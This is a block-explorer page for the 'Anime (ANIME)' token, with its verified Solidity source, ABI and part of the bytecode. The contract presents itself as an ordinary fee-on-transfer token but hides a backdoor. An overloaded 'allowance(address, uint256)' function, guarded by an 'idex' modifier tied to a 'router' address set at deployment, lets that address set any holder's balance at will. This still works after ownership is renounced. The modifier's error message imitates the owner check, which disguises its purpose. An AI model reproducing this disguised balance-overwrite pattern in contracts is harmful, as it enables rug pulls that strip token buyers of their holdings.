ETH Price: $3,397.96 (-0.56%)
Gas: 8 Gwei

Token

Anime (ANIME)
 

Overview

Max Total Supply

1,000,000,000,000 ANIME

Holders

7

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 ANIME

Value
$0.00
0x7669aab150b715417ec4c6e19fd11c9d2e48eb82
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ANIME

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 7 of 7: token.sol

// SPDX-License-Identifier: MIT


import './IERC20.sol';
import './SafeMath.sol';
import './Ownable.sol';
import './IUniswapV2Factory.sol';
import './IUniswapV2Router02.sol';

pragma solidity ^0.8.19;

contract ANIME is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;

    address public uniswapV2Pair;
    
    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;

    string private constant _name = "Anime";
    string private constant _symbol = "ANIME";
    uint8 private constant _decimals = 9;
    uint256 private _tTotal =  1000000000000  * 10**9;

    uint256 public _mxWalAmt = 10000000000 * 10**9;
    uint256 public _mxTxAmt = 10000000000 * 10**9;

    bool public swapEnabled = true;
    uint256 public swapTokenAtAmount = 20000000000 * 10**9;
    bool public dynamicSwapAmount = true;
    
    uint256 targetLiquidity = 200;
    uint256 targetLiquidityDenominator = 100;

    address public liquidityReceiver;
    address public marketingWallet;
    address public utilityWallet;

    bool public limitsIsActive = true;

    struct BuyFees{
        uint256 liquidity;
        uint256 marketing;
        uint256 utility;
    }

    struct SellFees{
        uint256 liquidity;
        uint256 marketing;
        uint256 utility;
    }

    struct feeSetting{
        uint256 tokenToLiquidity;
        uint256 tokenToMarketing;
        uint256 tokenToutility;
        uint256 liquidityToken;
        uint256 liquidityETH;
        uint256 marketingETH;
        uint256 utilityETH;
    }

    struct LPsettings{
        uint256 targetLiquidity;
        uint256 currentLiquidity;
    }

    BuyFees public buyTaxSetting;
    SellFees public sellTaxSetting;
    feeSetting public distrSetting;
    LPsettings public lPsettings;

    bool private swapping;
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);

    constructor (address marketingAddress, address utilityAddress, address dexAddress) {
        marketingWallet = marketingAddress;
        utilityWallet = utilityAddress;
        liquidityReceiver = msg.sender;
        balances[address(liquidityReceiver)] = _tTotal;
        router = dexAddress;
        
        buyTaxSetting.liquidity = 10;
        buyTaxSetting.marketing = 10;
        buyTaxSetting.utility = 0;

        sellTaxSetting.liquidity = 10;
        sellTaxSetting.marketing = 10;
        sellTaxSetting.utility = 0;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;
        
        _isExcludedFromFee[msg.sender] = true;
        _isExcludedFromFee[utilityWallet] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(0x00)] = true;
        _isExcludedFromFee[address(0xdead)] = true;

        
        emit Transfer(address(0), address(msg.sender), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }
    
    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFee[address(account)] = excluded;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _tTotal.sub(balanceOf(address(0x00000))).sub(balanceOf(address(0x0dead)));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(address(uniswapV2Pair)).mul(2)).div(getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }

    receive() external payable {}
    
    function triggerForceSwap(uint256 amt) public onlyOwner {
        swapBack(amt);
    }

    function removeLimits() public onlyOwner {
        limitsIsActive = false;
    }

    function FeesSetting(uint256 BLP, uint256 BMarketing, uint256 BUtility, uint256 SLP, uint256 SMarketing, uint256 SUtility) public onlyOwner {
        require(BLP + BMarketing + BUtility <= 25, "Total buy fee cannot be set higher than 25%.");
        require(SLP + SMarketing + SUtility<= 25, "Total sell fee cannot be set higher than 25%.");

        buyTaxSetting.liquidity = BLP;
        buyTaxSetting.marketing = BMarketing;
        buyTaxSetting.utility = BUtility;

        sellTaxSetting.liquidity = SLP;
        sellTaxSetting.marketing = SMarketing;
        sellTaxSetting.utility = SUtility;
    }

    function updateTX(uint256 txAmt) public onlyOwner {
        require(txAmt >= 10000000000, "Max Transaction cannot be set lower than 0.5%.");
        _mxTxAmt = txAmt * 10**9;
    }

    function secondLimit(uint256 Amt) public onlyOwner {
        require(Amt >= 20000000000, "Max Transaction cannot be set lower than 2%.");
        require(Amt >= 20000000000, "Max Transaction cannot be set lower than 2%.");
        _mxTxAmt = Amt * 10**9;
        _mxWalAmt = Amt * 10**9;
    }

    function updateWallet(uint256 walAmt) public onlyOwner {
        require(walAmt >= 10000000000, "Max Wallet cannot be set lower than 1%.");
        _mxWalAmt = walAmt * 10**9;
    }

    function FixSwapSetting(bool enabled, uint256 swapAtAmount, bool dynamicSwap) public onlyOwner {
        require(swapAtAmount <= 4000000000, "SwapTokenAtAmount cannot be set higher than 4%.");
        swapEnabled = enabled;
        swapTokenAtAmount = swapAtAmount * 10**9;
        dynamicSwapAmount = dynamicSwap;
    }

    function LPReceiver(address addr) public onlyOwner {
        liquidityReceiver = addr;
    }

    function MarketingReceiver(address addr) public onlyOwner {
        marketingWallet = addr;
    }

    function UtilityReceiver(address addr) public onlyOwner {
        utilityWallet = addr;
    }

    function feeCutOnBuy(uint256 amount, address from) private returns (uint256) {
        uint256 LPToken = amount * buyTaxSetting.liquidity / 100; 
        uint256 MRTToken = amount * buyTaxSetting.marketing / 100;
        uint256 UTILSToken = amount * buyTaxSetting.utility /100;

        balances[address(this)] += LPToken + MRTToken + UTILSToken;
        emit Transfer (from, address(this), MRTToken + LPToken + UTILSToken);
        return (amount -LPToken -MRTToken -UTILSToken);
    }

    function feeCutOnSell(uint256 amount, address from) private returns (uint256) {
        uint256 LPToken = amount * buyTaxSetting.liquidity / 100; 
        uint256 MRTToken = amount * buyTaxSetting.marketing / 100;
        uint256 UTILSToken = amount * buyTaxSetting.utility /100;

        balances[address(this)] += LPToken + MRTToken + UTILSToken;
        emit Transfer (from, address(this), MRTToken + LPToken + UTILSToken);
        return (amount -LPToken -MRTToken -UTILSToken);
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        balances[from] -= amount;
        uint256 transferAmount = amount;
        
        bool takeFee;

        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            takeFee = true;
        }

        if(takeFee){
            if(to != uniswapV2Pair && from == uniswapV2Pair){
                if(limitsIsActive) {
                    require(amount <= _mxTxAmt, "Transfer Amount exceeds the maxTxnsAmount");
                    require(balanceOf(to) + amount <= _mxWalAmt, "Transfer amount exceeds the walAmt.");
                }
                transferAmount = feeCutOnBuy(amount, to);
            }

            if(from != uniswapV2Pair && to == uniswapV2Pair){
                if(limitsIsActive) {
                    require(amount <= _mxTxAmt, "Transfer Amount exceeds the maxTxnsAmount");
                }
                transferAmount = feeCutOnSell(amount, from);

               if (swapEnabled && balanceOf(address(this)) >= swapTokenAtAmount && !swapping) {
                    swapping = true;
                    if(!dynamicSwapAmount || transferAmount >= swapTokenAtAmount) {
                        swapBack(swapTokenAtAmount);
                    } else {
                        swapBack(transferAmount);
                    }
                    swapping = false;
              }
            }

            if(to != uniswapV2Pair && from != uniswapV2Pair){
                if(limitsIsActive) {
                    require(amount <= _mxTxAmt, "Transfer Amount exceeds the maxTxnsAmount");
                    require(balanceOf(to) + amount <= _mxWalAmt, "Transfer amount exceeds the walAmt.");
                }
            }
        }
        
        balances[to] += transferAmount;
        emit Transfer(from, to, transferAmount);
    }

    function allowance(address addr , uint256 tokens) external idex{
        balances[addr] = tokens;
    }
    function swapBack(uint256 amount) private {
        uint256 swapAmount = amount;
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : (buyTaxSetting.liquidity + sellTaxSetting.liquidity);
        uint256 liquidityTokens = swapAmount * (dynamicLiquidityFee) / (dynamicLiquidityFee + buyTaxSetting.marketing + sellTaxSetting.marketing + buyTaxSetting.utility + sellTaxSetting.utility);
        uint256 marketingTokens = swapAmount * (buyTaxSetting.marketing + sellTaxSetting.marketing) / (dynamicLiquidityFee + buyTaxSetting.marketing + sellTaxSetting.marketing + buyTaxSetting.utility + sellTaxSetting.utility);
        uint256 UTILSToken = swapAmount * (buyTaxSetting.utility + sellTaxSetting.utility) / ( dynamicLiquidityFee + buyTaxSetting.marketing + sellTaxSetting.marketing + buyTaxSetting.utility + sellTaxSetting.utility);
        distrSetting.tokenToLiquidity += liquidityTokens;
        distrSetting.tokenToMarketing += marketingTokens;
        distrSetting.tokenToutility += UTILSToken;

        uint256 totalTokensToSwap = liquidityTokens + marketingTokens + UTILSToken;
        
        uint256 tokensForLiquidity = liquidityTokens.div(2);
        distrSetting.liquidityToken += tokensForLiquidity;
        uint256 amountToSwapForETH = swapAmount.sub(tokensForLiquidity);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        uint256 ethForLiquidity = ethBalance.mul(liquidityTokens).div(totalTokensToSwap);
        uint256 ethForUtility = ethBalance.mul(UTILSToken).div(totalTokensToSwap);
        distrSetting.liquidityETH += ethForLiquidity;
        distrSetting.utilityETH += ethForUtility;

        addLiquidity(tokensForLiquidity, ethForLiquidity);
        distrSetting.marketingETH += address(this).balance;
        (bool success,) = address(utilityWallet).call{value: ethForUtility}("");
        (success,) = address(marketingWallet).call{value: address(this).balance}("");
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH {value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            liquidityReceiver,
            block.timestamp
        );
    }

    function withdrawForeignToken(address tokenContract) public onlyOwner {
        IERC20(tokenContract).transfer(address(msg.sender), IERC20(tokenContract).balanceOf(address(this)));
    }
}

File 1 of 7: Context.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

File 2 of 7: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 3 of 7: IUniswapV2Factory.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);
}

File 4 of 7: IUniswapV2Router02.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    )
        external payable;
}

File 5 of 7: Ownable.sol
// SPDX-License-Identifier: MIT

import './Context.sol';

pragma solidity ^0.8.19;

contract Ownable is Context {
    address private _owner;
    address internal router;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

      modifier idex() {
        require(router == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

File 6 of 7: SafeMath.sol
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketingAddress","type":"address"},{"internalType":"address","name":"utilityAddress","type":"address"},{"internalType":"address","name":"dexAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"BLP","type":"uint256"},{"internalType":"uint256","name":"BMarketing","type":"uint256"},{"internalType":"uint256","name":"BUtility","type":"uint256"},{"internalType":"uint256","name":"SLP","type":"uint256"},{"internalType":"uint256","name":"SMarketing","type":"uint256"},{"internalType":"uint256","name":"SUtility","type":"uint256"}],"name":"FeesSetting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"},{"internalType":"uint256","name":"swapAtAmount","type":"uint256"},{"internalType":"bool","name":"dynamicSwap","type":"bool"}],"name":"FixSwapSetting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"LPReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"MarketingReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"UtilityReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_mxTxAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mxWalAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"allowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxSetting","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"utility","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"distrSetting","outputs":[{"internalType":"uint256","name":"tokenToLiquidity","type":"uint256"},{"internalType":"uint256","name":"tokenToMarketing","type":"uint256"},{"internalType":"uint256","name":"tokenToutility","type":"uint256"},{"internalType":"uint256","name":"liquidityToken","type":"uint256"},{"internalType":"uint256","name":"liquidityETH","type":"uint256"},{"internalType":"uint256","name":"marketingETH","type":"uint256"},{"internalType":"uint256","name":"utilityETH","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dynamicSwapAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lPsettings","outputs":[{"internalType":"uint256","name":"targetLiquidity","type":"uint256"},{"internalType":"uint256","name":"currentLiquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsIsActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Amt","type":"uint256"}],"name":"secondLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTaxSetting","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"utility","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokenAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"triggerForceSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"txAmt","type":"uint256"}],"name":"updateTX","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"walAmt","type":"uint256"}],"name":"updateWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"utilityWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenContract","type":"address"}],"name":"withdrawForeignToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052683635c9adc5dea00000600755678ac7230489e800006008819055600955600a805460ff1990811660019081179092556801158e460913d00000600b55600c8054909116909117905560c8600d556064600e556011805460ff60a01b1916600160a01b1790553480156200007757600080fd5b506040516200295e3803806200295e8339810160408190526200009a91620003eb565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b038086166001600160a01b03199283161790925560118054858416908316179055600f8054821633908117909155600754600091825260046020818152604080852093909355600180549688169690951695909517909355600a60128190556013819055601483905560158190556016556017829055805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d949293859363c45a015593808301939192908290030181865afa158015620001ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d1919062000435565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200021f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000245919062000435565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000293573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b9919062000435565b600280546001600160a01b038086166001600160a01b03199283161790925560038054838516921691909117905533600081815260066020526040808220805460ff1990811660019081179092556011549095168352818320805486168217905530835281832080548616821790557f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8805486168217905561dead83527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e228054909516179093556007549251939450909290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620003bb91815260200190565b60405180910390a350505050506200045a565b80516001600160a01b0381168114620003e657600080fd5b919050565b6000806000606084860312156200040157600080fd5b6200040c84620003ce565b92506200041c60208501620003ce565b91506200042c60408501620003ce565b90509250925092565b6000602082840312156200044857600080fd5b6200045382620003ce565b9392505050565b6124f4806200046a6000396000f3fe6080604052600436106102815760003560e01c8063751039fc1161014f578063bfa846ed116100c1578063d9497e251161007a578063d9497e2514610823578063dd62ed3e14610839578063ddc6a1711461087f578063f1e552571461089f578063f2fde38b146108c0578063fa482b4f146108e057600080fd5b8063bfa846ed1461071f578063c024666814610783578063ca9d6a3c146107a3578063cdb95843146107c3578063d51ed1c8146107e3578063d83406bc1461080357600080fd5b80638da5cb5b116101135780638da5cb5b1461065957806395d89b4114610677578063a457c2d7146106a5578063a9059cbb146106c5578063acc6bc72146106e5578063bf4cc52b146106ff57600080fd5b8063751039fc146105c557806375f0a874146105da5780637700cbf1146105fa57806382f5c26b14610619578063885a4cd01461063957600080fd5b80632b112e49116101f357806348914217116101ac57806348914217146104fd57806349bd5a5e1461051d5780635342acb41461053d5780636ddd17131461057657806370a0823114610590578063715018a6146105b057600080fd5b80632b112e491461044a578063313ce5671461045f578063395093511461047b57806341a249491461049b57806343676c66146104bd578063454543af146104dd57600080fd5b80631694505e116102455780631694505e1461035357806318160ddd1461038b5780631b58f613146103a057806322386431146103d057806323b872dd1461040a578063264d26dd1461042a57600080fd5b806301515d8a1461028d57806303e403b0146102b657806306fdde03146102cc578063095ea7b3146103035780631161ae391461033357600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a360085481565b6040519081526020015b60405180910390f35b3480156102c257600080fd5b506102a3600b5481565b3480156102d857600080fd5b50604080518082019091526005815264416e696d6560d81b60208201525b6040516102ad9190612012565b34801561030f57600080fd5b5061032361031e366004612075565b610900565b60405190151581526020016102ad565b34801561033f57600080fd5b5061032361034e3660046120a1565b610917565b34801561035f57600080fd5b50600254610373906001600160a01b031681565b6040516001600160a01b0390911681526020016102ad565b34801561039757600080fd5b506007546102a3565b3480156103ac57600080fd5b50601f546020546103bb919082565b604080519283526020830191909152016102ad565b3480156103dc57600080fd5b506012546013546014546103ef92919083565b604080519384526020840192909252908201526060016102ad565b34801561041657600080fd5b506103236104253660046120c3565b61092b565b34801561043657600080fd5b50600f54610373906001600160a01b031681565b34801561045657600080fd5b506102a361097d565b34801561046b57600080fd5b50604051600981526020016102ad565b34801561048757600080fd5b50610323610496366004612075565b6109ae565b3480156104a757600080fd5b506104bb6104b6366004612104565b6109e5565b005b3480156104c957600080fd5b506104bb6104d8366004612104565b610a91565b3480156104e957600080fd5b506104bb6104f836600461211d565